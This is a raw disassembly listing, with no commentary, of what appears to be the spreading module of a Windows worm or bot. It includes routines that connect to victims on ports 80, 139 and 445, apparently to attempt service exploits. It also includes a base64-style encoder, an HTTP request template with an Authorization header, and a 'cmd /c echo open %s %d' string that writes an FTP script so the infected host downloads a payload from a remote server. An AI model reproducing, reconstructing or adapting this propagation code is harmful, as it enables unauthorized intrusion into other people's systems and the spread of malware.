		push	[ebp+arg_0]
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 48h
		jnz	short loc_40D019
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40CE40
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D019
		cmp	[ebp+var_20], 82h
		jz	short loc_40D01D

loc_40D019:				; CODE XREF: sub_40CFDE+1Bj
					; sub_40CFDE+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_40D01D:				; CODE XREF: sub_40CFDE+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF04
		add	esp, 0Ch
		leave
		retn
sub_40CFDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D030	proc near		; CODE XREF: sub_40D07C+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427690
		call	sub_41C798
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427688
		fstp	[esp+10h+var_10]
		call	sub_41C679
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41C798
		inc	eax
		leave
		retn
sub_40D030	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D07C	proc near		; CODE XREF: sub_40D21E+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426DF7
		call	sub_41CC64
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D6B3
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D030
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D0BE
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D62E

loc_40D0BE:				; CODE XREF: sub_40D07C+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D1DB
		mov	ebx, [ebp+10h]

loc_40D0CD:				; CODE XREF: sub_40D07C+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D0D7
		push	3
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------

loc_40D0D7:				; CODE XREF: sub_40D07C+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D0E1
		push	2
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------

loc_40D0E1:				; CODE XREF: sub_40D07C+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D0EA
		push	1

loc_40D0E9:				; CODE XREF: sub_40D07C+59j
					; sub_40D07C+63j
		pop	ebx

loc_40D0EA:				; CODE XREF: sub_40D07C+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_4276A0
		fstp	[esp+40h+var_40]
		call	sub_41C7BF
		pop	ecx
		pop	ecx
		call	sub_41C798
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D129
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi

loc_40D129:				; CODE XREF: sub_40D07C+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D197
		add	[ebp-18h], eax

loc_40D17B:				; CODE XREF: sub_40D07C+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_431D64[eax]
		push	eax
		push	1
		call	sub_40D4B0
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D17B

loc_40D197:				; CODE XREF: sub_40D07C+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D1B5
		push	dword ptr [ebp+14h]
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D509
		mov	[ebp-18h], edi

loc_40D1B5:				; CODE XREF: sub_40D07C+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D1CF
		sub	esi, [ebp-1Ch]

loc_40D1C0:				; CODE XREF: sub_40D07C+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D4B0
		dec	esi
		jnz	short loc_40D1C0

loc_40D1CF:				; CODE XREF: sub_40D07C+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D0CD
		push	1
		pop	ebx

loc_40D1DB:				; CODE XREF: sub_40D07C+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		push	dword_427698
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D560
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D07C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D21E	proc near		; CODE XREF: ___:0040D41Bp
		mov	eax, offset loc_426E14
		call	sub_41CC64
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_43D128
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D07C
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41B4D5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D268
		xor	bl, bl
		jmp	short loc_40D2AC
; ---------------------------------------------------------------------------

loc_40D268:				; CODE XREF: sub_40D21E+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_4276A8
		cmp	ecx, ebx
		jnz	short loc_40D276
		mov	ecx, eax

loc_40D276:				; CODE XREF: sub_40D21E+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D27E
		mov	eax, [ebp+18h]

loc_40D27E:				; CODE XREF: sub_40D21E+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41B980
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		cmp	eax, esi
		jz	short loc_40D2A3
		xor	bl, bl
		jmp	short loc_40D2A5
; ---------------------------------------------------------------------------

loc_40D2A3:				; CODE XREF: sub_40D21E+7Fj
		mov	bl, 1

loc_40D2A5:				; CODE XREF: sub_40D21E+83j
		push	edi
		call	sub_41B0B1
		pop	ecx

loc_40D2AC:				; CODE XREF: sub_40D21E+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D6B3
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D21E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_431F10
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		mov	eax, offset byte_429108
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CACB0
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41B980
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_431DA8
		push	eax
		call	sub_40CADA
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D377
		xor	eax, eax
		jmp	loc_40D4A3
; ---------------------------------------------------------------------------

loc_40D377:				; CODE XREF: ___:0040D36Ej
		mov	[ebp-0Ch], esi

loc_40D37A:				; CODE XREF: ___:0040D47Aj
		test	esi, esi
		jnz	loc_40D480
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D468
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CAF74
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CAFB4
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D45D
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D425
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D6EF
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D21E
		add	esp, 1Ch
		jmp	short loc_40D45A
; ---------------------------------------------------------------------------

loc_40D425:				; CODE XREF: ___:0040D3E3j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D43F
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CFDE
		jmp	short loc_40D457
; ---------------------------------------------------------------------------

loc_40D43F:				; CODE XREF: ___:0040D42Fj
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D45D
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CF04

loc_40D457:				; CODE XREF: ___:0040D43Dj
		add	esp, 0Ch

loc_40D45A:				; CODE XREF: ___:0040D423j
		movzx	esi, al

loc_40D45D:				; CODE XREF: ___:0040D3D6j
					; ___:0040D449j
		push	ebx
		call	dword_4CB00C
		test	esi, esi
		jnz	short loc_40D473

loc_40D468:				; CODE XREF: ___:0040D393j
		push	3E8h
		nop
		call	near ptr 2690579h

loc_40D473:				; CODE XREF: ___:0040D466j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D37A

loc_40D480:				; CODE XREF: ___:0040D37Cj
		lea	ecx, [ebp-8]
		call	sub_40C8FF
		test	esi, esi
		jz	short loc_40D4A1
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431410[eax]
		lea	eax, dword_431410[eax]

loc_40D4A1:				; CODE XREF: ___:0040D48Aj
		mov	eax, esi

loc_40D4A3:				; CODE XREF: ___:0040D372j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426DD8

loc_40D4A8:				; CODE XREF: sub_426DD8+3j
					; ___:00426DF1j ...
		push	1
		call	sub_40D6B3
		retn
; END OF FUNCTION CHUNK	FOR sub_426DD8

; =============== S U B	R O U T	I N E =======================================



sub_40D4B0	proc near		; CODE XREF: sub_40D07C+110p
					; sub_40D07C+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D4CA
		call	sub_42669A

loc_40D4CA:				; CODE XREF: sub_40D4B0+13j
		test	ebx, ebx
		jbe	short loc_40D501
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D501
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41B590
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_40D501:				; CODE XREF: sub_40D4B0+1Cj
					; sub_40D4B0+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D4B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D509	proc near		; CODE XREF: sub_40D07C+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D523
		call	sub_42669A

loc_40D523:				; CODE XREF: sub_40D509+13j
		test	ebx, ebx
		jbe	short loc_40D558
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D558
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0

loc_40D558:				; CODE XREF: sub_40D509+1Cj
					; sub_40D509+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D509	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D560	proc near		; CODE XREF: sub_40D07C+17Cp
					; sub_4265B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D578
		call	sub_426573

loc_40D578:				; CODE XREF: sub_40D560+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D58A
		mov	esi, [ebp+arg_8]

loc_40D58A:				; CODE XREF: sub_40D560+25j
		cmp	edi, ebx
		jnz	short loc_40D5AC
		push	dword_427698
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D724
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D724
		jmp	short loc_40D625
; ---------------------------------------------------------------------------

loc_40D5AC:				; CODE XREF: sub_40D560+2Cj
		test	esi, esi
		jbe	short loc_40D5EF
		cmp	esi, eax
		jnz	short loc_40D5EF
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5C0
		mov	eax, offset dword_4276A8

loc_40D5C0:				; CODE XREF: sub_40D560+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D5EF
		push	1
		mov	ecx, edi
		call	sub_40D6B3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5DB
		mov	eax, offset dword_4276A8

loc_40D5DB:				; CODE XREF: sub_40D560+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D625
; ---------------------------------------------------------------------------

loc_40D5EF:				; CODE XREF: sub_40D560+4Ej
					; sub_40D560+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D625
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D609
		mov	eax, offset dword_4276A8

loc_40D609:				; CODE XREF: sub_40D560+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41C310
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0

loc_40D625:				; CODE XREF: sub_40D560+4Aj
					; sub_40D560+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D560	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D62E	proc near		; CODE XREF: sub_40D07C+3Dp
					; sub_40D4B0+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D640
		call	sub_42669A

loc_40D640:				; CODE XREF: sub_40D62E+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D669
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D669
		cmp	al, 0FFh
		jz	short loc_40D669
		cmp	edi, edx
		jnz	short loc_40D6A4
		dec	al
		push	edx
		mov	[ecx-1], al

loc_40D65E:				; CODE XREF: sub_40D62E+47j
		mov	ecx, esi
		call	sub_40D6B3

loc_40D665:				; CODE XREF: sub_40D62E+4Bj
					; sub_40D62E+52j
		xor	al, al
		jmp	short loc_40D6AE
; ---------------------------------------------------------------------------

loc_40D669:				; CODE XREF: sub_40D62E+19j
					; sub_40D62E+20j ...
		cmp	edi, edx
		jnz	short loc_40D682
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D677
		push	1
		jmp	short loc_40D65E
; ---------------------------------------------------------------------------

loc_40D677:				; CODE XREF: sub_40D62E+43j
		cmp	ecx, edx
		jz	short loc_40D665
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D665
; ---------------------------------------------------------------------------

loc_40D682:				; CODE XREF: sub_40D62E+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D69F
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D694
		cmp	eax, edi
		jnb	short loc_40D6AC

loc_40D694:				; CODE XREF: sub_40D62E+60j
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		jmp	short loc_40D6A4
; ---------------------------------------------------------------------------

loc_40D69F:				; CODE XREF: sub_40D62E+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D6AC

loc_40D6A4:				; CODE XREF: sub_40D62E+28j
					; sub_40D62E+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40D78B

loc_40D6AC:				; CODE XREF: sub_40D62E+64j
					; sub_40D62E+74j
		mov	al, 1

loc_40D6AE:				; CODE XREF: sub_40D62E+39j
		pop	edi
		pop	esi
		retn	8
sub_40D62E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6B3	proc near		; CODE XREF: sub_40D07C+1Fp
					; sub_40D07C+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D6DF
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D6DF
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D6D8
		cmp	al, 0FFh
		jz	short loc_40D6D8
		dec	al
		mov	[ecx], al
		jmp	short loc_40D6DF
; ---------------------------------------------------------------------------

loc_40D6D8:				; CODE XREF: sub_40D6B3+19j
					; sub_40D6B3+1Dj
		push	ecx
		call	sub_41CC83
		pop	ecx

loc_40D6DF:				; CODE XREF: sub_40D6B3+8j
					; sub_40D6B3+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D6B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6EF	proc near		; CODE XREF: ___:0040D40Fp
					; sub_40D848+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D71D
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_40D71D:				; CODE XREF: sub_40D6EF+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D6EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D724	proc near		; CODE XREF: sub_40D560+39p
					; sub_40D560+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D737
		call	sub_426573

loc_40D737:				; CODE XREF: sub_40D724+Cj
		mov	ecx, edi
		call	sub_40D848
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40D74D
		mov	ebx, eax

loc_40D74D:				; CODE XREF: sub_40D724+25j
		test	ebx, ebx
		jbe	short loc_40D783
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41CC90
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D783
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0

loc_40D783:				; CODE XREF: sub_40D724+2Bj
					; sub_40D724+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D724	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D78B	proc near		; CODE XREF: sub_40D62E+79p
		mov	eax, offset loc_426E20
		call	sub_41CC64
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40D7B1
		mov	edi, [ebp+8]

loc_40D7B1:				; CODE XREF: sub_40D78B+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40D7BE
		xor	eax, eax

loc_40D7BE:				; CODE XREF: sub_40D78B+2Fj
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40D7EF
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40D7D9
		xor	eax, eax

loc_40D7D9:				; CODE XREF: sub_40D78B+4Aj
		push	eax
		call	sub_41CFC5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40D7E9
		retn
; ---------------------------------------------------------------------------

loc_40D7E9:				; DATA XREF: sub_40D78B+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]

loc_40D7EF:				; CODE XREF: sub_40D78B+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40D80D
		cmp	eax, edi
		jbe	short loc_40D7FC
		mov	eax, edi

loc_40D7FC:				; CODE XREF: sub_40D78B+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41C310
		add	esp, 0Ch

loc_40D80D:				; CODE XREF: sub_40D78B+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40D82D
		mov	edi, ebx

loc_40D82D:				; CODE XREF: sub_40D78B+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40D78B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D848	proc near		; CODE XREF: sub_40D724+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40D875
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40D875
		cmp	al, 0FFh
		jz	short loc_40D875
		push	1
		call	sub_40D6B3
		push	esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D6EF

loc_40D875:				; CODE XREF: sub_40D848+9j
					; sub_40D848+10j ...
		pop	edi
		pop	esi
		retn
sub_40D848	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D878	proc near		; DATA XREF: ___:00429008o
		test	byte_4DB594, 1
		jnz	short loc_40D888
		or	byte_4DB594, 1

loc_40D888:				; CODE XREF: sub_40D878+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41D040
		pop	ecx
		retn
sub_40D878	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D89A	proc near		; DATA XREF: ___:0042900Co
		jmp	$+5
sub_40D89A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D89F	proc near
		mov	eax, dword_4321C8
		add	eax, 6
		mov	dword_4CDC94, eax
		retn
sub_40D89F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8AD	proc near		; CODE XREF: sub_40D8AD+D0p
					; ___:0040DE0Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40D8C1
		or	[ebp+arg_7], 1
		jmp	short loc_40D8C5
; ---------------------------------------------------------------------------

loc_40D8C1:				; CODE XREF: sub_40D8AD+Cj
		and	[ebp+arg_7], 0FEh

loc_40D8C5:				; CODE XREF: sub_40D8AD+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40D8E9
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40D8FB
; ---------------------------------------------------------------------------

loc_40D8E9:				; CODE XREF: sub_40D8AD+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1

loc_40D8FB:				; CODE XREF: sub_40D8AD+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40D994
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_40D98B
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40D98B
		push	[ebp+arg_20]
		call	sub_41B0B1
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40D987
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
